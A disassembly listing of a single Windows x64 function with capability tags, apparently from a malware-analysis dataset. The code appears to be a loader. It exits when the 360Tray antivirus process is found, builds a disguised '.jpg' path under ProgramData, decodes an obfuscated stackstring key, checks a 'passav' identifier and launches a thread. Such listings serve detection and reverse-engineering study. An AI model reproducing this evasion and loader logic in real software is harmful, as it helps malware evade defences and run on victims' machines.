Function at 0x140005a20
Capabilities:
Contain obfuscated stackstrings
Create directory
Create thread
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x540]
sub rsp, 0x640
mov rax, qword [0x14004e060]
xor rax, rsp
mov qword [rbp + 0x530], rax
lea rcx, str.360Tray.exe
call fcn.140005940
test eax, eax
jne 0x140006b37
lea rcx, str.360tray.exe
call fcn.140005940
test eax, eax
jne 0x140006b37
lea rcx, [rbp + 0xa0]
call fcn.1400023b0
nop
lea rcx, [rbp + 0x150]
call fcn.1400023b0
nop
xor esi, esi
mov qword [rsp + 0x70], rsi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], sil
lea r8d, [rsi + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rsp + 0x70]
call fcn.140008d30
nop
lea r8d, [rsi + 1]
lea rdx, [0x140046c48]
lea rcx, [rsp + 0x70]
call fcn.140008e90
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rsp + 0x50]
call fcn.140008e90
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea r8d, [rsi + 1]
lea rdx, [0x140046c48]
lea rcx, [rbp - 0x30]
call fcn.140008e90
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rsp + 0x30]
call fcn.140008e90
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea r8d, [rsi + 4]
lea rdx, str..jpg
lea rcx, [rbp + 0x10]
call fcn.140008e90
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140005c77
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b69
call fcn.140013bf0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140005cc4
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b6f
call fcn.140013bf0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140005d12
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b75
call fcn.140013bf0
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140005d5f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b7b
call fcn.140013bf0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140005dae
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005da9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b81
call fcn.140013bf0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp + 0x60]
call fcn.140008d30
nop
mov r8d, 1
lea rdx, [0x140046c48]
lea rcx, [rbp + 0x60]
call fcn.140008e90
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rbp - 0x70]
call fcn.140008e90
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rcx, qword [rbp - 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140005ec0
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ebb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b87
call fcn.140013bf0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140005f0b
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b8d
call fcn.140013bf0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140005f56
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b93
call fcn.140013bf0
lea r8, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae r8, qword [rbp + 0x80]
lea rdx, [0x140046c4c]
lea rcx, [rbp + 0x420]
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x310]
call fcn.140016490
lea rcx, [rbp + 0x310]
call fcn.1400080d0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rax
mov qword [rbp - 0x30], rsi
mov word [rbp - 0x28], 1
mov rax, qword [rbp + 0x310]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x358]
mov qword [rsp + 0x30], rax
test rax, rax
sete byte [rsp + 0x38]
mov byte [rsp + 0x39], 0
movdqu xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rsi
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x48]
call fcn.14000b440
nop
lea rcx, [rbp + 0x320]
call fcn.140008c00
test rax, rax
jne 0x140006051
mov rax, qword [rbp + 0x310]
movsxd rcx, dword [rax + 4]
lea r9, [rbp + 0x310]
add rcx, r9
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], 0
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001dc0
xorps xmm0, xmm0
mov dword [rbp - 0x30], 0x61657771
mov dword [rbp - 0x2c], 0x32316473
mov dword [rbp - 0x28], 0x63787a33
movdqu xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rsi
mov ecx, 0xc
call fcn.140013bf8
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rax
lea rbx, [rax + 0xc]
mov qword [rbp + 0x40], rbx
mov r8d, 0xc
lea rdx, [rbp - 0x30]
mov rcx, rax
call fcn.140015d40
mov qword [rbp + 0x38], rbx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x48]
call fcn.1400021e0
mov qword [rbp - 0x10], rsi
mov rcx, rsi
mov qword [rbp], rcx
mov r8d, 0xf
mov qword [rbp + 8], r8
mov byte [rbp - 0x10], cl
mov rdi, qword [rbp + 0x50]
mov rbx, qword [rbp + 0x48]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x1400060ef
lea rcx, [rbp - 0x10]
call fcn.140009e70
mov rcx, rsi
mov qword [rbp], rcx
mov r8, qword [rbp + 8]
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
cmp rbx, rdi
je 0x140006144
nop dword [rax]
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x140006129
lea rax, [rcx + 1]
mov qword [rbp], rax
lea rax, [rbp - 0x10]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x10]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140006132
lea rcx, [rbp - 0x10]
call fcn.140009fc0
inc rbx
cmp rbx, rdi
je 0x140006144
mov r8, qword [rbp + 8]
mov rcx, qword [rbp]
jmp 0x140006100
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rax
lea rdx, str.__w__________________
lea rcx, [rbp + 0x170]
call fcn.1400070f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x210], rsi
mov byte [rbp + 0x218], 0
movdqa xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x230], xmm1
mov qword [rbp + 0x240], rsi
mov byte [rbp + 0x248], 0
movdqa xmmword [rbp + 0x250], xmm0
mov byte [rbp + 0x260], 0
mov qword [rbp + 0x268], rsi
mov qword [rbp + 0x270], rsi
mov byte [rbp + 0x278], 0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
add rdx, qword [rbp]
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rax, qword [rbp - 0x10]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
lea rcx, [rbp + 0x170]
mov qword [rbp + 0xd0], rcx
mov dword [rbp + 0xd8], esi
mov qword [rbp + 0xe0], rsi
mov byte [rbp + 0xe8], 0
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmmword [rbp + 0x100], xmm1
mov qword [rbp + 0x110], rsi
mov byte [rbp + 0x118], 0
movdqa xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x130], 0
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x140], rsi
mov byte [rbp + 0x148], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x170]
lea r8, [rbp + 0xe0]
mov rcx, rax
call fcn.1400098b0
mov rcx, qword [rbp + 0xd0]
test al, al
cmove rcx, rsi
mov qword [rbp + 0xd0], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm0
movdqa xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], rsi
mov qword [rbp + 0x2a0], rsi
mov byte [rbp + 0x2a8], 0
movdqa xmmword [rbp + 0x2b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2c0], xmm1
mov qword [rbp + 0x2d0], rsi
mov byte [rbp + 0x2d8], 0
movdqa xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2f0], 0
mov qword [rbp + 0x2f8], rsi
mov qword [rbp + 0x300], rsi
mov byte [rbp + 0x308], 0
movabs r15, 0x2aaaaaaaaaaaaaab
lea r14, str.passav
nop dword [rax]
cmp qword [rbp + 0xd0], 0
je 0x1400067be
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x1a0]
call fcn.140004440
nop
mov r10, qword [rbp + 0x1b8]
mov rcx, r10
mov r9, qword [rbp + 0x1b0]
sub rcx, r9
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x14000674b
cmp byte [r9 + 0x28], 0
je 0x14000640b
movups xmm0, xmmword [r9 + 0x18]
movups xmmword [rsp + 0x30], xmm0
jmp 0x140006414
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
cmp rdx, r8
je 0x140006451
sub r8, rdx
lea rcx, [rbp - 0x30]
call fcn.140008d30
mov r10, qword [rbp + 0x1b8]
mov r9, qword [rbp + 0x1b0]
mov rcx, r10
sub rcx, r9
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 2
lea rax, [rbp + 0x1f8]
jbe 0x14000647c
lea rax, [r9 + 0x30]
cmp byte [rax + 0x10], 0
je 0x14000648c
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
jmp 0x140006495
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
cmp rdx, r8
je 0x1400064d2
sub r8, rdx
lea rcx, [rbp + 0x10]
call fcn.140008d30
mov r10, qword [rbp + 0x1b8]
mov r9, qword [rbp + 0x1b0]
sub r10, r9
mov rax, r15
imul r10
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 3
ja 0x1400064f8
lea r9, [rbp + 0x1f8]
jmp 0x1400064fc
add r9, 0x48
cmp byte [r9 + 0x10], 0
je 0x14000650e
movups xmm0, xmmword [r9]
movups xmmword [rsp + 0x30], xmm0
jmp 0x140006517
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x70], rsi
mov edi, 0xf
mov qword [rbp + 0x78], rdi
mov byte [rbp + 0x60], 0
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
cmp rdx, r8
je 0x14000654b
sub r8, rdx
lea rcx, [rbp + 0x60]
call fcn.140008d30
mov rdi, qword [rbp + 0x78]
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x14004f610]
call fcn.140009360
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
mov rcx, rax
call fcn.14000b5e0
mov rcx, rax
lea rdx, [0x140046c8c]
call fcn.140009360
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
cmp qword [rbp - 0x20], 6
jne 0x1400065db
mov rax, rsi
nop
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r14 + rax - 1]
jne 0x1400065b8
cmp rax, 6
jne 0x1400065a0
mov eax, esi
jmp 0x1400065bd
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400065db
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
lea rdx, [rbp + 0x420]
call fcn.140002560
mov rax, qword [rbp + 0xf0]
mov rbx, qword [rax + 8]
xor dl, dl
cmp qword [rax], rbx
jne 0x140006632
mov rdx, qword [rbp + 0xc8]
cmp rbx, rdx
je 0x14000667e
mov ecx, dword [rbp + 0xd8]
or ecx, 0x60
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0xd0]
lea r8, [rbp + 0xe0]
mov rcx, rbx
call fcn.1400098b0
test al, al
jne 0x140006685
mov dl, 1
mov eax, dword [rbp + 0xd8]
bts eax, 8
mov dword [rbp + 0xd8], eax
mov ecx, eax
bts ecx, 0xe
test dl, dl
cmove ecx, eax
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0xd0]
lea r8, [rbp + 0xe0]
mov rdx, qword [rbp + 0xc8]
mov rcx, rbx
call fcn.1400098b0
test al, al
jne 0x140006685
mov qword [rbp + 0xd0], rsi
cmp rdi, 0x10
jb 0x1400066be
lea rdx, [rdi + 1]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b99
call fcn.140013bf0
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400066f9
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b9f
call fcn.140013bf0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140006744
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000673f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ba5
call fcn.140013bf0
mov r9, qword [rbp + 0x1b0]
test r9, r9
je 0x140006370
mov rcx, qword [rbp + 0x1c0]
sub rcx, r9
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r9
cmp rdx, 0x1000
jb 0x14000679f
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006bab
mov rcx, r9
call fcn.140013bf0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], rsi
jmp 0x140006370
lea rdx, [0x140046e8c]
lea rcx, [rbp + 0x420]
call fcn.14001a5e0
mov rbx, rax
test rax, rax
je 0x1400067fb
mov r9, rax
mov edx, 1
mov r8d, 0x174930
lea rcx, [0x140050d90]
call fcn.14001da38
mov rcx, rbx
call fcn.14001abb4
lea rcx, [rbp + 0x420]
call fcn.14001ae40
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140005870]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140006844
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov r8, qword [rbp + 0xf0]
test r8, r8
je 0x1400068b5
mov rcx, qword [rbp + 0x100]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x14000689b
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006bb1
mov rcx, r8
call fcn.140013bf0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rsi
lea rcx, [rbp + 0x170]
call fcn.140008910
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x1400068e7
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1400068e7
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140006922
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000691d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006bb7
call fcn.140013bf0
mov qword [rbp], rsi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x140006978
mov rdx, qword [rbp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006967
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006bbd
call fcn.140013bf0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rsi
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x1400069be
mov rdx, qword [rbp + 0x58]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006bc3
call fcn.140013bf0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rsi
mov rax, qword [rbp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x310], rax
mov rax, qword [rbp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x30c], edx
lea rcx, [rbp + 0x320]
call fcn.140007e10
mov rax, qword [rbp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x310], rax
mov rax, qword [rbp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x30c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x3c0], rax
lea rcx, [rbp + 0x3c0]
call fcn.140012e54
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140006a87
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006bc9
call fcn.140013bf0
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x140006ae1
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006adc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006bcf
call fcn.140013bf0
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140006b37
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b63
call fcn.140013bf0
mov rcx, qword [rbp + 0x530]
xor rcx, rsp
call fcn.140013bd0
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
nop
call fcn.14001df4c
int3